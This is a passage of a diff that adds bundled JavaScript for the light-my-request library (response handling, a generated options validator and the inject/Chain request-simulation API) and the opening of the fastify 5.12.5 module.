response._lightMyRequest.headers; + for (const headerName of Object.keys(headers)) { + const headerValue = headers[headerName]; + if (Array.isArray(headerValue)) { + headers[headerName] = headerValue.map((value) => "" + value); + } else { + headers[headerName] = "" + headerValue; + } + } + } + function copyHeaders(response) { + response._lightMyRequest.headers = Object.assign({}, response.getHeaders()); + ["Date", "Connection", "Transfer-Encoding"].forEach((name) => { + const regex = new RegExp("\\r\\n" + name + ": ([^\\r]*)\\r\\n"); + const field = response._header?.match(regex); + if (field) { + response._lightMyRequest.headers[name.toLowerCase()] = field[1]; + } + }); + } + module.exports = Response; + } +}); + +// node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/config-validator.js +var require_config_validator2 = __commonJS({ + "node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/config-validator.js"(exports, module) { + "use strict"; + module.exports = validate10; + module.exports.default = validate10; + var schema11 = { "type": "object", "properties": { "url": { "oneOf": [{ "type": "string" }, { "type": "object", "properties": { "protocol": { "type": "string" }, "hostname": { "type": "string" }, "pathname": { "type": "string" } }, "additionalProperties": true, "required": ["pathname"] }] }, "path": { "oneOf": [{ "type": "string" }, { "type": "object", "properties": { "protocol": { "type": "string" }, "hostname": { "type": "string" }, "pathname": { "type": "string" } }, "additionalProperties": true, "required": ["pathname"] }] }, "cookies": { "type": "object", "additionalProperties": true }, "headers": { "type": "object", "additionalProperties": true }, "query": { "anyOf": [{ "type": "object", "additionalProperties": true }, { "type": "string" }] }, "simulate": { "type": "object", "properties": { "end": { "type": "boolean" }, "split": { "type": "boolean" }, "error": { "type": "boolean" }, "close": { "type": "boolean" } } }, "authority": { "type": "string" }, "remoteAddress": { "type": "string" }, "method": { "type": "string", "enum": ["ACL", "BIND", "CHECKOUT", "CONNECT", "COPY", "DELETE", "GET", "HEAD", "LINK", "LOCK", "M-SEARCH", "MERGE", "MKACTIVITY", "MKCALENDAR", "MKCOL", "MOVE", "NOTIFY", "OPTIONS", "PATCH", "POST", "PROPFIND", "PROPPATCH", "PURGE", "PUT", "QUERY", "REBIND", "REPORT", "SEARCH", "SOURCE", "SUBSCRIBE", "TRACE", "UNBIND", "UNLINK", "UNLOCK", "UNSUBSCRIBE", "acl", "bind", "checkout", "connect", "copy", "delete", "get", "head", "link", "lock", "m-search", "merge", "mkactivity", "mkcalendar", "mkcol", "move", "notify", "options", "patch", "post", "propfind", "proppatch", "purge", "put", "query", "rebind", "report", "search", "source", "subscribe", "trace", "unbind", "unlink", "unlock", "unsubscribe"] }, "validate": { "type": "boolean" } }, "additionalProperties": true, "oneOf": [{ "required": ["url"] }, { "required": ["path"] }] }; + function validate10(data, { instancePath = "", parentData, parentDataProperty, rootData = data } = {}) { + let vErrors = null; + let errors = 0; + const _errs1 = errors; + let valid0 = false; + let passing0 = null; + const _errs2 = errors; + if (data && typeof data == "object" && !Array.isArray(data)) { + let missing0; + if (data.url === void 0 && (missing0 = "url")) { + const err0 = { instancePath, schemaPath: "#/oneOf/0/required", keyword: "required", params: { missingProperty: missing0 }, message: "must have required property '" + missing0 + "'" }; + if (vErrors === null) { + vErrors = [err0]; + } else { + vErrors.push(err0); + } + errors++; + } + } + var _valid0 = _errs2 === errors; + if (_valid0) { + valid0 = true; + passing0 = 0; + } + const _errs3 = errors; + if (data && typeof data == "object" && !Array.isArray(data)) { + let missing1; + if (data.path === void 0 && (missing1 = "path")) { + const err1 = { instancePath, schemaPath: "#/oneOf/1/required", keyword: "required", params: { missingProperty: missing1 }, message: "must have required property '" + missing1 + "'" }; + if (vErrors === null) { + vErrors = [err1]; + } else { + vErrors.push(err1); + } + errors++; + } + } + var _valid0 = _errs3 === errors; + if (_valid0 && valid0) { + valid0 = false; + passing0 = [passing0, 1]; + } else { + if (_valid0) { + valid0 = true; + passing0 = 1; + } + } + if (!valid0) { + const err2 = { instancePath, schemaPath: "#/oneOf", keyword: "oneOf", params: { passingSchemas: passing0 }, message: "must match exactly one schema in oneOf" }; + if (vErrors === null) { + vErrors = [err2]; + } else { + vErrors.push(err2); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs1; + if (vErrors !== null) { + if (_errs1) { + vErrors.length = _errs1; + } else { + vErrors = null; + } + } + } + if (errors === 0) { + if (data && typeof data == "object" && !Array.isArray(data)) { + if (data.url !== void 0) { + let data0 = data.url; + const _errs5 = errors; + const _errs6 = errors; + let valid2 = false; + let passing1 = null; + const _errs7 = errors; + if (typeof data0 !== "string") { + let dataType0 = typeof data0; + let coerced0 = void 0; + if (!(coerced0 !== void 0)) { + if (dataType0 == "number" || dataType0 == "boolean") { + coerced0 = "" + data0; + } else if (data0 === null) { + coerced0 = ""; + } else { + const err3 = { instancePath: instancePath + "/url", schemaPath: "#/properties/url/oneOf/0/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err3]; + } else { + vErrors.push(err3); + } + errors++; + } + } + if (coerced0 !== void 0) { + data0 = coerced0; + if (data !== void 0) { + data["url"] = coerced0; + } + } + } + var _valid1 = _errs7 === errors; + if (_valid1) { + valid2 = true; + passing1 = 0; + } + const _errs9 = errors; + if (errors === _errs9) { + if (data0 && typeof data0 == "object" && !Array.isArray(data0)) { + let missing2; + if (data0.pathname === void 0 && (missing2 = "pathname")) { + const err4 = { instancePath: instancePath + "/url", schemaPath: "#/properties/url/oneOf/1/required", keyword: "required", params: { missingProperty: missing2 }, message: "must have required property '" + missing2 + "'" }; + if (vErrors === null) { + vErrors = [err4]; + } else { + vErrors.push(err4); + } + errors++; + } else { + if (data0.protocol !== void 0) { + let data1 = data0.protocol; + const _errs12 = errors; + if (typeof data1 !== "string") { + let dataType1 = typeof data1; + let coerced1 = void 0; + if (!(coerced1 !== void 0)) { + if (dataType1 == "number" || dataType1 == "boolean") { + coerced1 = "" + data1; + } else if (data1 === null) { + coerced1 = ""; + } else { + const err5 = { instancePath: instancePath + "/url/protocol", schemaPath: "#/properties/url/oneOf/1/properties/protocol/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err5]; + } else { + vErrors.push(err5); + } + errors++; + } + } + if (coerced1 !== void 0) { + data1 = coerced1; + if (data0 !== void 0) { + data0["protocol"] = coerced1; + } + } + } + var valid3 = _errs12 === errors; + } else { + var valid3 = true; + } + if (valid3) { + if (data0.hostname !== void 0) { + let data2 = data0.hostname; + const _errs14 = errors; + if (typeof data2 !== "string") { + let dataType2 = typeof data2; + let coerced2 = void 0; + if (!(coerced2 !== void 0)) { + if (dataType2 == "number" || dataType2 == "boolean") { + coerced2 = "" + data2; + } else if (data2 === null) { + coerced2 = ""; + } else { + const err6 = { instancePath: instancePath + "/url/hostname", schemaPath: "#/properties/url/oneOf/1/properties/hostname/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err6]; + } else { + vErrors.push(err6); + } + errors++; + } + } + if (coerced2 !== void 0) { + data2 = coerced2; + if (data0 !== void 0) { + data0["hostname"] = coerced2; + } + } + } + var valid3 = _errs14 === errors; + } else { + var valid3 = true; + } + if (valid3) { + if (data0.pathname !== void 0) { + let data3 = data0.pathname; + const _errs16 = errors; + if (typeof data3 !== "string") { + let dataType3 = typeof data3; + let coerced3 = void 0; + if (!(coerced3 !== void 0)) { + if (dataType3 == "number" || dataType3 == "boolean") { + coerced3 = "" + data3; + } else if (data3 === null) { + coerced3 = ""; + } else { + const err7 = { instancePath: instancePath + "/url/pathname", schemaPath: "#/properties/url/oneOf/1/properties/pathname/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err7]; + } else { + vErrors.push(err7); + } + errors++; + } + } + if (coerced3 !== void 0) { + data3 = coerced3; + if (data0 !== void 0) { + data0["pathname"] = coerced3; + } + } + } + var valid3 = _errs16 === errors; + } else { + var valid3 = true; + } + } + } + } + } else { + const err8 = { instancePath: instancePath + "/url", schemaPath: "#/properties/url/oneOf/1/type", keyword: "type", params: { type: "object" }, message: "must be object" }; + if (vErrors === null) { + vErrors = [err8]; + } else { + vErrors.push(err8); + } + errors++; + } + } + var _valid1 = _errs9 === errors; + if (_valid1 && valid2) { + valid2 = false; + passing1 = [passing1, 1]; + } else { + if (_valid1) { + valid2 = true; + passing1 = 1; + } + } + if (!valid2) { + const err9 = { instancePath: instancePath + "/url", schemaPath: "#/properties/url/oneOf", keyword: "oneOf", params: { passingSchemas: passing1 }, message: "must match exactly one schema in oneOf" }; + if (vErrors === null) { + vErrors = [err9]; + } else { + vErrors.push(err9); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs6; + if (vErrors !== null) { + if (_errs6) { + vErrors.length = _errs6; + } else { + vErrors = null; + } + } + } + var valid1 = _errs5 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.path !== void 0) { + let data4 = data.path; + const _errs18 = errors; + const _errs19 = errors; + let valid4 = false; + let passing2 = null; + const _errs20 = errors; + if (typeof data4 !== "string") { + let dataType4 = typeof data4; + let coerced4 = void 0; + if (!(coerced4 !== void 0)) { + if (dataType4 == "number" || dataType4 == "boolean") { + coerced4 = "" + data4; + } else if (data4 === null) { + coerced4 = ""; + } else { + const err10 = { instancePath: instancePath + "/path", schemaPath: "#/properties/path/oneOf/0/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err10]; + } else { + vErrors.push(err10); + } + errors++; + } + } + if (coerced4 !== void 0) { + data4 = coerced4; + if (data !== void 0) { + data["path"] = coerced4; + } + } + } + var _valid2 = _errs20 === errors; + if (_valid2) { + valid4 = true; + passing2 = 0; + } + const _errs22 = errors; + if (errors === _errs22) { + if (data4 && typeof data4 == "object" && !Array.isArray(data4)) { + let missing3; + if (data4.pathname === void 0 && (missing3 = "pathname")) { + const err11 = { instancePath: instancePath + "/path", schemaPath: "#/properties/path/oneOf/1/required", keyword: "required", params: { missingProperty: missing3 }, message: "must have required property '" + missing3 + "'" }; + if (vErrors === null) { + vErrors = [err11]; + } else { + vErrors.push(err11); + } + errors++; + } else { + if (data4.protocol !== void 0) { + let data5 = data4.protocol; + const _errs25 = errors; + if (typeof data5 !== "string") { + let dataType5 = typeof data5; + let coerced5 = void 0; + if (!(coerced5 !== void 0)) { + if (dataType5 == "number" || dataType5 == "boolean") { + coerced5 = "" + data5; + } else if (data5 === null) { + coerced5 = ""; + } else { + const err12 = { instancePath: instancePath + "/path/protocol", schemaPath: "#/properties/path/oneOf/1/properties/protocol/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err12]; + } else { + vErrors.push(err12); + } + errors++; + } + } + if (coerced5 !== void 0) { + data5 = coerced5; + if (data4 !== void 0) { + data4["protocol"] = coerced5; + } + } + } + var valid5 = _errs25 === errors; + } else { + var valid5 = true; + } + if (valid5) { + if (data4.hostname !== void 0) { + let data6 = data4.hostname; + const _errs27 = errors; + if (typeof data6 !== "string") { + let dataType6 = typeof data6; + let coerced6 = void 0; + if (!(coerced6 !== void 0)) { + if (dataType6 == "number" || dataType6 == "boolean") { + coerced6 = "" + data6; + } else if (data6 === null) { + coerced6 = ""; + } else { + const err13 = { instancePath: instancePath + "/path/hostname", schemaPath: "#/properties/path/oneOf/1/properties/hostname/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err13]; + } else { + vErrors.push(err13); + } + errors++; + } + } + if (coerced6 !== void 0) { + data6 = coerced6; + if (data4 !== void 0) { + data4["hostname"] = coerced6; + } + } + } + var valid5 = _errs27 === errors; + } else { + var valid5 = true; + } + if (valid5) { + if (data4.pathname !== void 0) { + let data7 = data4.pathname; + const _errs29 = errors; + if (typeof data7 !== "string") { + let dataType7 = typeof data7; + let coerced7 = void 0; + if (!(coerced7 !== void 0)) { + if (dataType7 == "number" || dataType7 == "boolean") { + coerced7 = "" + data7; + } else if (data7 === null) { + coerced7 = ""; + } else { + const err14 = { instancePath: instancePath + "/path/pathname", schemaPath: "#/properties/path/oneOf/1/properties/pathname/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err14]; + } else { + vErrors.push(err14); + } + errors++; + } + } + if (coerced7 !== void 0) { + data7 = coerced7; + if (data4 !== void 0) { + data4["pathname"] = coerced7; + } + } + } + var valid5 = _errs29 === errors; + } else { + var valid5 = true; + } + } + } + } + } else { + const err15 = { instancePath: instancePath + "/path", schemaPath: "#/properties/path/oneOf/1/type", keyword: "type", params: { type: "object" }, message: "must be object" }; + if (vErrors === null) { + vErrors = [err15]; + } else { + vErrors.push(err15); + } + errors++; + } + } + var _valid2 = _errs22 === errors; + if (_valid2 && valid4) { + valid4 = false; + passing2 = [passing2, 1]; + } else { + if (_valid2) { + valid4 = true; + passing2 = 1; + } + } + if (!valid4) { + const err16 = { instancePath: instancePath + "/path", schemaPath: "#/properties/path/oneOf", keyword: "oneOf", params: { passingSchemas: passing2 }, message: "must match exactly one schema in oneOf" }; + if (vErrors === null) { + vErrors = [err16]; + } else { + vErrors.push(err16); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs19; + if (vErrors !== null) { + if (_errs19) { + vErrors.length = _errs19; + } else { + vErrors = null; + } + } + } + var valid1 = _errs18 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.cookies !== void 0) { + let data8 = data.cookies; + const _errs31 = errors; + if (errors === _errs31) { + if (!(data8 && typeof data8 == "object" && !Array.isArray(data8))) { + validate10.errors = [{ instancePath: instancePath + "/cookies", schemaPath: "#/properties/cookies/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid1 = _errs31 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.headers !== void 0) { + let data9 = data.headers; + const _errs34 = errors; + if (errors === _errs34) { + if (!(data9 && typeof data9 == "object" && !Array.isArray(data9))) { + validate10.errors = [{ instancePath: instancePath + "/headers", schemaPath: "#/properties/headers/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid1 = _errs34 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.query !== void 0) { + let data10 = data.query; + const _errs37 = errors; + const _errs38 = errors; + let valid6 = false; + const _errs39 = errors; + if (errors === _errs39) { + if (!(data10 && typeof data10 == "object" && !Array.isArray(data10))) { + const err17 = { instancePath: instancePath + "/query", schemaPath: "#/properties/query/anyOf/0/type", keyword: "type", params: { type: "object" }, message: "must be object" }; + if (vErrors === null) { + vErrors = [err17]; + } else { + vErrors.push(err17); + } + errors++; + } + } + var _valid3 = _errs39 === errors; + valid6 = valid6 || _valid3; + if (!valid6) { + const _errs42 = errors; + if (typeof data10 !== "string") { + let dataType8 = typeof data10; + let coerced8 = void 0; + if (!(coerced8 !== void 0)) { + if (dataType8 == "number" || dataType8 == "boolean") { + coerced8 = "" + data10; + } else if (data10 === null) { + coerced8 = ""; + } else { + const err18 = { instancePath: instancePath + "/query", schemaPath: "#/properties/query/anyOf/1/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err18]; + } else { + vErrors.push(err18); + } + errors++; + } + } + if (coerced8 !== void 0) { + data10 = coerced8; + if (data !== void 0) { + data["query"] = coerced8; + } + } + } + var _valid3 = _errs42 === errors; + valid6 = valid6 || _valid3; + } + if (!valid6) { + const err19 = { instancePath: instancePath + "/query", schemaPath: "#/properties/query/anyOf", keyword: "anyOf", params: {}, message: "must match a schema in anyOf" }; + if (vErrors === null) { + vErrors = [err19]; + } else { + vErrors.push(err19); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs38; + if (vErrors !== null) { + if (_errs38) { + vErrors.length = _errs38; + } else { + vErrors = null; + } + } + } + var valid1 = _errs37 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.simulate !== void 0) { + let data11 = data.simulate; + const _errs44 = errors; + if (errors === _errs44) { + if (data11 && typeof data11 == "object" && !Array.isArray(data11)) { + if (data11.end !== void 0) { + let data12 = data11.end; + const _errs46 = errors; + if (typeof data12 !== "boolean") { + let coerced9 = void 0; + if (!(coerced9 !== void 0)) { + if (data12 === "false" || data12 === 0 || data12 === null) { + coerced9 = false; + } else if (data12 === "true" || data12 === 1) { + coerced9 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/simulate/end", schemaPath: "#/properties/simulate/properties/end/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced9 !== void 0) { + data12 = coerced9; + if (data11 !== void 0) { + data11["end"] = coerced9; + } + } + } + var valid7 = _errs46 === errors; + } else { + var valid7 = true; + } + if (valid7) { + if (data11.split !== void 0) { + let data13 = data11.split; + const _errs48 = errors; + if (typeof data13 !== "boolean") { + let coerced10 = void 0; + if (!(coerced10 !== void 0)) { + if (data13 === "false" || data13 === 0 || data13 === null) { + coerced10 = false; + } else if (data13 === "true" || data13 === 1) { + coerced10 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/simulate/split", schemaPath: "#/properties/simulate/properties/split/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced10 !== void 0) { + data13 = coerced10; + if (data11 !== void 0) { + data11["split"] = coerced10; + } + } + } + var valid7 = _errs48 === errors; + } else { + var valid7 = true; + } + if (valid7) { + if (data11.error !== void 0) { + let data14 = data11.error; + const _errs50 = errors; + if (typeof data14 !== "boolean") { + let coerced11 = void 0; + if (!(coerced11 !== void 0)) { + if (data14 === "false" || data14 === 0 || data14 === null) { + coerced11 = false; + } else if (data14 === "true" || data14 === 1) { + coerced11 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/simulate/error", schemaPath: "#/properties/simulate/properties/error/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced11 !== void 0) { + data14 = coerced11; + if (data11 !== void 0) { + data11["error"] = coerced11; + } + } + } + var valid7 = _errs50 === errors; + } else { + var valid7 = true; + } + if (valid7) { + if (data11.close !== void 0) { + let data15 = data11.close; + const _errs52 = errors; + if (typeof data15 !== "boolean") { + let coerced12 = void 0; + if (!(coerced12 !== void 0)) { + if (data15 === "false" || data15 === 0 || data15 === null) { + coerced12 = false; + } else if (data15 === "true" || data15 === 1) { + coerced12 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/simulate/close", schemaPath: "#/properties/simulate/properties/close/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced12 !== void 0) { + data15 = coerced12; + if (data11 !== void 0) { + data11["close"] = coerced12; + } + } + } + var valid7 = _errs52 === errors; + } else { + var valid7 = true; + } + } + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/simulate", schemaPath: "#/properties/simulate/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid1 = _errs44 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.authority !== void 0) { + let data16 = data.authority; + const _errs54 = errors; + if (typeof data16 !== "string") { + let dataType13 = typeof data16; + let coerced13 = void 0; + if (!(coerced13 !== void 0)) { + if (dataType13 == "number" || dataType13 == "boolean") { + coerced13 = "" + data16; + } else if (data16 === null) { + coerced13 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/authority", schemaPath: "#/properties/authority/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced13 !== void 0) { + data16 = coerced13; + if (data !== void 0) { + data["authority"] = coerced13; + } + } + } + var valid1 = _errs54 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.remoteAddress !== void 0) { + let data17 = data.remoteAddress; + const _errs56 = errors; + if (typeof data17 !== "string") { + let dataType14 = typeof data17; + let coerced14 = void 0; + if (!(coerced14 !== void 0)) { + if (dataType14 == "number" || dataType14 == "boolean") { + coerced14 = "" + data17; + } else if (data17 === null) { + coerced14 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/remoteAddress", schemaPath: "#/properties/remoteAddress/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced14 !== void 0) { + data17 = coerced14; + if (data !== void 0) { + data["remoteAddress"] = coerced14; + } + } + } + var valid1 = _errs56 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.method !== void 0) { + let data18 = data.method; + const _errs58 = errors; + if (typeof data18 !== "string") { + let dataType15 = typeof data18; + let coerced15 = void 0; + if (!(coerced15 !== void 0)) { + if (dataType15 == "number" || dataType15 == "boolean") { + coerced15 = "" + data18; + } else if (data18 === null) { + coerced15 = ""; + } else { + validate10.errors = [{ instancePath: instancePath + "/method", schemaPath: "#/properties/method/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + if (coerced15 !== void 0) { + data18 = coerced15; + if (data !== void 0) { + data["method"] = coerced15; + } + } + } + if (!(data18 === "ACL" || data18 === "BIND" || data18 === "CHECKOUT" || data18 === "CONNECT" || data18 === "COPY" || data18 === "DELETE" || data18 === "GET" || data18 === "HEAD" || data18 === "LINK" || data18 === "LOCK" || data18 === "M-SEARCH" || data18 === "MERGE" || data18 === "MKACTIVITY" || data18 === "MKCALENDAR" || data18 === "MKCOL" || data18 === "MOVE" || data18 === "NOTIFY" || data18 === "OPTIONS" || data18 === "PATCH" || data18 === "POST" || data18 === "PROPFIND" || data18 === "PROPPATCH" || data18 === "PURGE" || data18 === "PUT" || data18 === "QUERY" || data18 === "REBIND" || data18 === "REPORT" || data18 === "SEARCH" || data18 === "SOURCE" || data18 === "SUBSCRIBE" || data18 === "TRACE" || data18 === "UNBIND" || data18 === "UNLINK" || data18 === "UNLOCK" || data18 === "UNSUBSCRIBE" || data18 === "acl" || data18 === "bind" || data18 === "checkout" || data18 === "connect" || data18 === "copy" || data18 === "delete" || data18 === "get" || data18 === "head" || data18 === "link" || data18 === "lock" || data18 === "m-search" || data18 === "merge" || data18 === "mkactivity" || data18 === "mkcalendar" || data18 === "mkcol" || data18 === "move" || data18 === "notify" || data18 === "options" || data18 === "patch" || data18 === "post" || data18 === "propfind" || data18 === "proppatch" || data18 === "purge" || data18 === "put" || data18 === "query" || data18 === "rebind" || data18 === "report" || data18 === "search" || data18 === "source" || data18 === "subscribe" || data18 === "trace" || data18 === "unbind" || data18 === "unlink" || data18 === "unlock" || data18 === "unsubscribe")) { + validate10.errors = [{ instancePath: instancePath + "/method", schemaPath: "#/properties/method/enum", keyword: "enum", params: { allowedValues: schema11.properties.method.enum }, message: "must be equal to one of the allowed values" }]; + return false; + } + var valid1 = _errs58 === errors; + } else { + var valid1 = true; + } + if (valid1) { + if (data.validate !== void 0) { + let data19 = data.validate; + const _errs60 = errors; + if (typeof data19 !== "boolean") { + let coerced16 = void 0; + if (!(coerced16 !== void 0)) { + if (data19 === "false" || data19 === 0 || data19 === null) { + coerced16 = false; + } else if (data19 === "true" || data19 === 1) { + coerced16 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/validate", schemaPath: "#/properties/validate/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced16 !== void 0) { + data19 = coerced16; + if (data !== void 0) { + data["validate"] = coerced16; + } + } + } + var valid1 = _errs60 === errors; + } else { + var valid1 = true; + } + } + } + } + } + } + } + } + } + } + } else { + validate10.errors = [{ instancePath, schemaPath: "#/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + validate10.errors = vErrors; + return errors === 0; + } + } +}); + +// node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/index.js +var require_light_my_request = __commonJS({ + "node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/index.js"(exports, module) { + "use strict"; + var assert2 = __require("node:assert"); + var Request = require_request2(); + var Response = require_response(); + var errorMessage = "The dispatch function has already been invoked"; + var optsValidator = require_config_validator2(); + function inject(dispatchFunc, options, callback) { + if (callback === void 0) { + return new Chain(dispatchFunc, options); + } else { + return doInject(dispatchFunc, options, callback); + } + } + function supportStream1(req, next) { + const payload = req._lightMyRequest.payload; + if (!payload || payload._readableState || typeof payload.resume !== "function") { + return next(); + } + const chunks2 = []; + payload.on("data", (chunk) => chunks2.push(Buffer.from(chunk))); + payload.on("end", () => { + const payload2 = Buffer.concat(chunks2); + req.headers["content-length"] = req.headers["content-length"] || "" + payload2.length; + delete req.headers["transfer-encoding"]; + req._lightMyRequest.payload = payload2; + return next(); + }); + payload.resume(); + } + function makeRequest(dispatchFunc, server, req, res) { + req.once("error", function(err) { + if (this.destroyed) res.destroy(err); + }); + req.once("close", function() { + if (this.destroyed && !this._error) { + res.destroy(); + } + }); + return supportStream1(req, () => dispatchFunc.call(server, req, res)); + } + function doInject(dispatchFunc, options, callback) { + options = typeof options === "string" ? { url: options } : options; + if (options.validate !== false) { + assert2(typeof dispatchFunc === "function", "dispatchFunc should be a function"); + const isOptionValid = optsValidator(options); + if (!isOptionValid) { + throw new Error(optsValidator.errors.map((e) => e.message)); + } + } + const server = options.server || {}; + const RequestConstructor = options.Request ? Request.CustomRequest : Request; + if (dispatchFunc.request && dispatchFunc.request.app === dispatchFunc) { + Object.setPrototypeOf(Object.getPrototypeOf(dispatchFunc.request), RequestConstructor.prototype); + Object.setPrototypeOf(Object.getPrototypeOf(dispatchFunc.response), Response.prototype); + } + if (typeof callback === "function") { + const req = new RequestConstructor(options); + const res = new Response(req, callback); + return makeRequest(dispatchFunc, server, req, res); + } else { + return new Promise((resolve, reject) => { + const req = new RequestConstructor(options); + const res = new Response(req, resolve, reject); + makeRequest(dispatchFunc, server, req, res); + }); + } + } + function Chain(dispatch, option) { + if (typeof option === "string") { + this.option = { url: option }; + } else { + this.option = Object.assign({}, option); + } + this.dispatch = dispatch; + this._hasInvoked = false; + this._promise = null; + if (this.option.autoStart !== false) { + process.nextTick(() => { + if (!this._hasInvoked) { + this.end(); + } + }); + } + } + var httpMethods = [ + "delete", + "get", + "head", + "options", + "patch", + "post", + "put", + "trace" + ]; + httpMethods.forEach((method) => { + Chain.prototype[method] = function(url2) { + if (this._hasInvoked === true || this._promise) { + throw new Error(errorMessage); + } + this.option.url = url2; + this.option.method = method.toUpperCase(); + return this; + }; + }); + var chainMethods = [ + "body", + "cookies", + "headers", + "payload", + "query" + ]; + chainMethods.forEach((method) => { + Chain.prototype[method] = function(value) { + if (this._hasInvoked === true || this._promise) { + throw new Error(errorMessage); + } + this.option[method] = value; + return this; + }; + }); + Chain.prototype.end = function(callback) { + if (this._hasInvoked === true || this._promise) { + throw new Error(errorMessage); + } + this._hasInvoked = true; + if (typeof callback === "function") { + doInject(this.dispatch, this.option, callback); + } else { + this._promise = doInject(this.dispatch, this.option); + return this._promise; + } + }; + Object.getOwnPropertyNames(Promise.prototype).forEach((method) => { + if (method === "constructor") return; + Chain.prototype[method] = function(...args) { + if (!this._promise) { + if (this._hasInvoked === true) { + throw new Error(errorMessage); + } + this._hasInvoked = true; + this._promise = doInject(this.dispatch, this.option); + } + return this._promise[method](...args); + }; + }); + function isInjection(obj) { + return obj instanceof Request || obj instanceof Response || obj?.constructor?.name === "_CustomLMRRequest"; + } + module.exports = inject; + module.exports.default = inject; + module.exports.inject = inject; + module.exports.isInjection = isInjection; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/fastify.js +var require_fastify = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/fastify.js"(exports, module) { + "use strict"; + var VERSION2 = "5.12.5"; + var Avvio = require_avvio(); + var http = __require("node:http"); + var diagnostics = __require("node:diagnostics_channel"); + var lightMyRequest; + var { + kAvvioBoot, + kChildren, + kServerBindings, + kBodyLimit, + kSupportedHTTPMethods, + kRoutePrefix, + kLogLevel, + kLogSerializers, + kHooks, + kSchemaController, + kRequestAcceptVersion, + kReplySerializerDefault, + kContentTypeParser, + kReply, + kRequest, + kFourOhFour, + kState, + kOptions, + kPluginNameChain, + kSchemaErrorFormatter, + kErrorHandler, + kKeepAliveConnections, + kChildLoggerFactory, + kGenReqId, + kErrorHandlerAlreadySet, + kHandlerTimeout, + kLogController + } = require_symbols3(); + var { createServer } = require_server(); + var Reply = require_reply(); + var Request = require_request(); + var Context = require_context(); + var decorator = require_decorate(); + var ContentTypeParser = require_content_type_parser(); + var SchemaController = require_schema_controller(); + var { Hooks, hookRunnerApplication, supportedHooks } = require_hooks(); + var { createChildLogger, defaultChildLoggerFactory, createLogger: createLogger2, createLogController, LogController } = require_logger_factory(); + var pluginUtils = require_plugin_utils(); + var { getGenReqId, reqIdGenFactory } = require_req_id_gen_factory(); + var { buildRouting, validateBodyLimitOption, buildRouterOptions } = require_route(); + var build404 = require_four_oh_four(); + var getSecuredInitialConfig = require_initial_config_validation(); + var override = require_plugin_override(); + var { + appendStackTrace, + AVVIO_ERRORS_MAP, + ...errorCodes + } = require_errors2(); + var PonyPromise = require_promise(); + var { defaultInitOptions } = getSecuredInitialConfig; + var { + FST_ERR_ASYNC_CONSTRAINT, + FST_ERR_BAD_URL, + FST_ERR_MAX_PARAM_LENGTH, + FST_ERR_OPTIONS_NOT_OBJ, + FST_ERR_QSP_NOT_FN, + FST_ERR_SCHEMA_CONTROLLER_BUCKET_OPT_NOT_FN, + FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_OBJ, + FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR, + FST_ERR_INSTANCE_ALREADY_LISTENING, + FST_ERR_REOPENED_CLOSE_SERVER, + FST_ERR_ROUTE_REWRITE_NOT_STR, + FST_ERR_SCHEMA_ERROR_FORMATTER_NOT_FN, + FST_ERR_ERROR_HANDLER_NOT_FN, + FST_ERR_ERROR_HANDLER_ALREADY_SET, + FST_ERR_ROUTE_METHOD_INVALID + } = errorCodes; + var { buildErrorHandler } = 